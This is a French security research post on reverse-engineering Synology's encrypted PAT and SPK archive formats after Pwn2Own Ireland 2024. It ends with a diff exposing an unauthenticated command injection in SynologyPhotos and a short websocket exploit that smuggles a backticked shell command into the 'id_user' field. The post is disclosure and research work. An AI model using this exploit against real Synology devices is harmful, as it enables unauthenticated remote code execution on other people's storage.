Extraction des archives chiffrées Synology - Pwn2Own Irlande 2024
- 11/08/2025 - dansCet article présente le travail de rétro-ingénierie des bibliothèques d'extraction des archives chiffrées Synology et le développement d'un outil permettant le déchiffrement de ces archives. L'outil est disponible sur le GitHub de Synacktiv.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Contexte
Lors du Pwn2Own Irlande 2024 nous avons ciblé le BeeStation BST150-4T, un NAS de Synology.

Pour commencer l’analyse, nous avons extrait les archives de mise à jour disponibles sur le site de Synology, ce sont des archives chiffrées au format PAT. Patology permet de déchiffrer et extraire ces archives.
Ces archives contiennent des fichiers de configuration, des bibliothèques natives ainsi que des fichiers SPK correspondant aux applications s’exécutant sur le NAS.
Aucun outil n’a été trouvé pour extraire des fichiers SPK sans avoir accès à un NAS Synology.
Après le Pwn2Own nous avons pensé utile d’avoir un outil pour extraire les fichiers SPK sans avoir de NAS afin d’avoir accès au code des applications, d’autant plus que la vulnérabilité exploitée se trouve dans une application (SynologyPhotos).
Cet article présente le travail de rétro-ingénierie des bibliothèques d’extraction des archives SPK et le développement d’un outil permettant le déchiffrement de toutes les archives Synology chiffrées. L’outil est disponible sur le GitHub de Synacktiv.
Reverse des bibliothèques
Les firmwares des appareils Synology sont disponibles sur leur site web. Pour le BeeStation, ce firmware est une archive PAT chiffrée qu’il est possible d’extraire avec Patology.
$ file BSM_BST150-4T_65374.pat
BSM_BST150-4T_65374.pat: Synology archive
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
[...]
$ ls
BSM_BST150-4T_65374.pat DiskCompatibilityDB.tar indexdb.txz packages synohdpack_img.txz texts uboot_MANGO.bin VERSION
checksum.syno hda1.tgz model.dtb rd.bin Synology.sig uboot_do_upd.sh updater zImage
Après avoir extrait hda1.tgz
, un grep -ri spk usr/lib
permet d’avoir la liste des bibliothèques contenant la chaîne de caractères “spk”. De par son nom, le fichier usr/lib/libsynopkg.so.1
semble être intéressant. Il contient une fonction ExtractSpk
qui exécute /usr/syno/sbin/synoarchive -xf <archive>
.
Le binaire synoarchive
appelle des fonctions synoarchive_*
pour extraire l’archive. Ces fonctions sont définies dans la bibliothèque libsynocodesign.so
.
// initialise the synoarchive context
ctx = synoarchive_init(destdir);
if ( !ctx )
{
_fprintf_chk(*off_15FA8, 2, "Failed to extract package at synoarchive_init");
goto LABEL_10;
}
// [...]
// extract the archive
v7 = synoarchive_open_with_keytype(ctx, archive_realpath, 3);
if ( !v7 )
{
_fprintf_chk(*off_15FA8, 2, "synoarchive_open %s failed. ret: %d", archive_path, *(_DWORD *)(ctx + 16));
v7 = 0;
goto LABEL_11;
}
libsynocodesign.so
se trouve dans rd.bin
qu’il faut extraire également :
$ file ../rd.bin
../rd.bin: LZMA compressed data, streamed
$ lzcat ../rd.bin | file -
/dev/stdin: ASCII cpio archive (SVR4 with no CRC)
$ lzcat ../rd.bin | cpio -i
Extraction des clés
Le point d’entrée dans libsynocodesign.so
pour extraire des archives est la fonction synoarchive_open_with_keytype
. Elle prend en paramètres un pointeur vers une structure synoarchive_t
(qui est une structure contenant le contexte, avec notamment le répertoire de destination et le dernier code d’erreur), le chemin de l’archive ainsi qu’un entier keytype
qui correspond au type d’archive. Elle appelle la fonction get_keys
qui sélectionne les clés en fonction de keytype
.
__int64 __fastcall synoarchive_open_with_keytype(synoarchive_t *synoarchive, char *archive_path, int keytype)
{
// [...]
if ( get_keys(keytype, &signature_key, &master_key) )
return j_synoarchive_open(_synoarchive, _archive_path, signature_key, master_key);
else
return 0;
}
Dans le cas d’un SPK, keytype
vaut 3.
__int64 __fastcall get_keys(int keytype, __int64 **signature_key, __int64 **master_key)
{
switch ( keytype )
{
case 0: // SYSTEM (PAT)
case 10:
case 11:
v4 = &qword_23A40;
v5 = qword_23A68;
goto LABEL_5;
// [...]
case 3: // SPK
v4 = qword_23AE0;
v5 = qword_23B08;
goto LABEL_5;
// [...]
LABEL_5:
*signature_key = v4;
result = 1LL;
*master_key = v5;
break;
default:
result = 0LL;
break;
}
return result;
}
signature_key
correspond à la clé publique utilisée pour vérifier la signature du header, et master_key
sert à dériver la clé de chiffrement.
Désérialisation du header
synoarchive_open
est appelée par synoarchive_open_with_keytype
pour extraire les archives. Voici son pseudo-code :
__int64 __fastcall synoarchive_open(synoarchive_t *synoarchive, char *archive_path, __int128 *signature_key, __int64 *master_key)
{
// [...]
// read the header and check that the archive is a synology archive
if ( !support_format_synoarchive(synoarchive, archive_path, signature_key, master_key) )
return 0LL;
// decrypt the archive
if (j_archive_read_open_file(synoarchive->field_0->archive, archive_path))
// [...]
return result;
}
La fonction support_format_synoarchive
appelle archive_read_support_format_synoarchive
. Cette fonction se charge de lire le header de l’archive. Elle commence par vérifier les magic bytes.
// open the archive and read its magic bytes
f = fopen64(archive_path, "rb");
if ( !fread(&buf_magic_bytes, 4u, 1u, f) )
{
// [...]
return v8;
}
magic_bytes = bswap32(buf_magic_bytes) & 0xFFFFFF;
archive->magic_bytes = magic_bytes;
// check the magic bytes
if ( magic_bytes != 0xBFBAAD && magic_bytes != 0xADBEEF )
{
// [...]
return -6;
}
Elle lit ensuite le header, qui a une taille variable, ainsi que sa signature.
// read header length
if ( fread(&header_len, 1u, 4u, f) != 4 )
{
// [...]
return v8;
}
archive->header_len = header_len;
// allocate a buffer for the header
header = malloc(header_len);
if ( !header )
{
// [...]
return -9;
}
// read the header and its signature
if ( !fread(header, header_len, 1u, f) || !fread(header_sig, 0x40u, 1u, f) )
{
// [...]
return -9;
}
La signature est vérifiée grâce à la fonction crypto_sign_verify_detached
de libsodium. Le programme itère sur les clés publiques jusqu’à trouver celle valide. Il est donc possible de renseigner plusieurs clés publiques cependant aucun code spécifiant plusieurs clés n’a été identifié.
// check the signature using each public key
while ( crypto_sign_verify_detached(header_sig, header, header_len, pubkey) )
{
pubkey = archive->pubkeys[v32++];
if ( !pubkey )
goto LABEL_39;
}
Le header est désérialisé via la bibliothèque MessagePack.
memset(&msgpack_result, 0, sizeof(msgpack_result));
off = 0;
if ( msgpack_unpack_next(&msgpack_result, header, header_len, &off) != MSGPACK_UNPACK_SUCCESS )
{
v8 = -10;
goto LABEL_31;
}
Voici le format en pseudo-python du header désérialisé :
[
data: bytes,
entries: [
entry: [
size: int,
hash: bytes
]
],
archive_description: bytes,
serial_number: [bytes],
not_valid_before: int,
]
Chaque entry
décrit la taille d’une entrée dans l’archive ainsi que son hash. Une entrée de l’archive correspond à un fichier contenu dans l’archive.
Une partie du champ data
sert à la dérivation de la clé privée qui sera utilisée pour le déchiffrement des entrées de l’archive. Cette clé de déchiffrement est stockée dans la variable kdf_subkey
.
bzero(ctx, sizeof(ctx));
// get the `data` element of the messagepack structure
data = array_items[0]->via.bin.ptr;
// extract subkey_id from data
subkey_id = *(_QWORD *)(data + 16);
// extract 7 bytes from data and use them for the key derivation
memcpy(ctx, data + 24, 7);
// derive kdf_subkey using subkey_id, ctx, and master_key
if ( crypto_kdf_derive_from_key(archive->kdf_subkey, 0x20u, subkey_id, ctx, master_key) )
{
v8 = -14;
goto LABEL_31;
}
La fonction archive_read_support_format_synoarchive
se termine en appelant archive_read_support_format_tar
, qui se charge d’extraire les entrées de l’archive.
Le parsing du header de l’archive peut être résumé par le schéma suivant :

Déchiffrement des entrées
En utilisant grep.app, on apprend que archive_read_support_format_tar
provient de la bibliothèque libarchive. Synology a modifié le code de libarchive
pour y ajouter une couche de chiffrement pour ses archives. Un nouveau format “tar” est défini et les fonctions pour lire le header et les données contiennent la logique de déchiffrement.
magic_bytes = archive->magic_bytes;
if ( magic_bytes == 0xADBEEF )
{
if ( !j___archive_read_register_format(
archive,
tar_data,
"tar",
spk_bid,
spk_options,
spk_read_header,
spk_read_data,
spk_read_data_skip,
0LL,
spk_cleanup,
0LL,
0LL) )
return 0LL;
goto LABEL_8;
}
La fonction spk_read_header
est utilisée pour lire le header de chaque entrée de l’archive et spk_read_data
est appelée pour lire et déchiffrer les entrées.
// spk_read_header
// read 0x200 bytes into encrypted_header
encrypted_header = j___archive_read_ahead(a1, 0x200u, &v109);
magic_bytes = a1->magic_bytes;
*n_read = 0x200;
if ( magic_bytes == 0xADBEEF )
{
// use the first 0x18 bytes for the nonce
memcpy(crypto_header, encrypted_header, 0x18);
if ( crypto_secretstream_xchacha20poly1305_init_pull(
state,
crypto_header,
a1->kdf_subkey) )
{
v17 = -30;
j_archive_set_error((__int64)a1, 4294967293LL, "Incomplete cipher header");
return v17;
}
// decrypt the next 0x193 bytes
memcpy(_encrypted_header, encrypted_header + 0x18, 0x193u);
memset(encrypted_header, 0, 0x200u);
if ( crypto_secretstream_xchacha20poly1305_pull(state, decrypted_header, &mlen_p, &tag_p, _encrypted_header, 0x193u, 0, 0)
|| tag_p != 3 )
{
j_archive_set_error((__int64)a1, 4294967293LL, "Corrupted entry header");
return (unsigned int)-30;
}
}
Les 0x18 premiers octets correspondent au nonce
appelé cipher_header
par libsodium
il sert à initialiser le contexte cryptographique. La clé utilisée est celle qui a été calculée lors du parsing du header. Les 0x193 octets suivants sont déchiffrés. Le header déchiffré correspond à un header tar classique.
// spk_read_data
if ( !crypto_state )
{
// read 0x18 bytes into cipher_header
cipher_header = j___archive_read_ahead(a1, 0x18u, &a3);
if ( !cipher_header )
{
j_archive_set_error(a1, 0xFFFFFFFDLL, "Truncated cipher header");
return -30;
}
// allocate the libsodium state
state = malloc(0x34u);
a1->passphrases.crypto_state = state;
if ( !state )
{
j_archive_set_error(a1, 12, "Can't allocate chunk state");
return -30;
}
// initialise the libsodium state and use cipher_buffer as nonce
if ( crypto_secretstream_xchacha20poly1305_init_pull(state, cipher_header, a1->kdf_subkey) )
{
j_archive_set_error(a1, 0xFFFFFFFDLL, "Incomplete cipher header");
free(a1->passphrases.crypto_state);
a1->passphrases.crypto_state = 0;
return -30;
}
j___archive_read_consume(a1, 0x18);
}
Pour le déchiffrement du contenu des entrées, le contexte libsodium
est initialisé de la même manière que pour les headers des entrées. Les 0x18 premiers octets servent de nonce et la clé utilisée est la même.
Le contenu est lu par blocs d’une taille maximale de 0x400000+0x11
et les blocs sont déchiffrés les uns à la suite des autres.
// spk_read_data
// read at most 0x400000+0x11 bytes in contents
size = tar_header.size;
if ( size > 0x400000 )
size = 0x400000;
size += 0x11;
contents = j___archive_read_ahead(a1, size, &a3);
// decrypt the contents
if ( crypto_secretstream_xchacha20poly1305_pull(
a1->passphrases.crypto_state,
*a2,
&v34,
tag,
contents,
size,
0,
0) )
{
j_archive_set_error((__int64)a1, 4294967293LL, "Corrupted entry data");
}
On obtient un fichier tar valide une fois que toutes les entrées ont été déchiffrées.
Voici le schéma du déchiffrement des entrées.

Finalement, les archives SPK sont au même format que les archives PAT. Uniquement la clé pour vérifier la signature du header et celle utilisée pour déchiffrer le contenu de l’archive sont différentes. En utilisant les bonnes clés, Patology est également capable d’extraire les SPK. Nous nous en sommes rendu compte seulement après avoir conçu notre propre outil.
L’outil développé pour extraire toutes les archives chiffrées Synology (SPK, PAT et autres) est disponible sur le GitHub de Synacktiv.
Comparaison des deux versions de SynoPhotos pour mettre en évidence la vulnérabilité jouée au Pwn2Own
Maintenant que nous sommes en mesure d’extraire les archives SPK qui contiennent le code des applications, il est possible de comparer les versions 1.7.0-0794
et 1.7.0-0795
de SynoPhotos afin de mettre en évidence la vulnérabilité exploitée au Pwn2Own.
La version 1.7.0-0794
est la version vulnérable.
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
[+] found matching keys
[+] header signature verified
[+] 104 entries
INFO
[...]
scripts/postuninst
[+] archive successfully decrypted
[+] output at SynologyPhotos-rtd1619b-1.7.0-0794.tar
$ tar xvf SynologyPhotos-rtd1619b-1.7.0-0794.tar
INFO
[...]
scripts/postuninst
$ tar xvf package.tgz
apparmor/
[...]
nodejs/js-server/js_server_bundle.js
[...]
usr/lib/libsynophoto-plugin-message.so
Voici le code contenant la vulnérabilité :
// nodejs/js-server/js_server_bundle.pretty.js
(0, o.exec)(`/var/packages/SynologyPhotos/target/usr/bin/synofoto-bin-add-udc-event --id_user ${t} --type view_page --payload '${JSON.stringify({location:this[e].location,duration:i})}'`)
La vulnérabilité a été corrigée dans la version 1.7.0-0795
.
// nodejs/js-server/js_server_bundle.pretty.js
(0, o.execFile)("/var/packages/SynologyPhotos/target/usr/bin/synofoto-bin-add-udc-event",
[
"--id_user", t,
"--type", "view_page",
"--payload", JSON.stringify({
location: this[e].location,
duration: i
})
]
)
La version vulnérable contient une injection de commande. Synology l’a corrigée en remplaçant l’appel à child_process.exec
par child_process.execFile
, qui prend en paramètre un tableau d’arguments.
La vulnérabilité est atteignable sans authentification.
Voici l’exploit :
with connect(f"ws://{TARGET_IP}:6600/BeePhotos/FotoSocketIo/socket.io/?SynoToken=xxxx.&EIO=4&transport=websocket") as ws:
print(ws.recv())
ws.send('40')
print(ws.recv())
ws.send('42["page-view",{"id_user":"`' + cmd + '`","location":"/personal_space/timeline","timestamp":1723228244,"operation":"emit"}]')
print(ws.recv())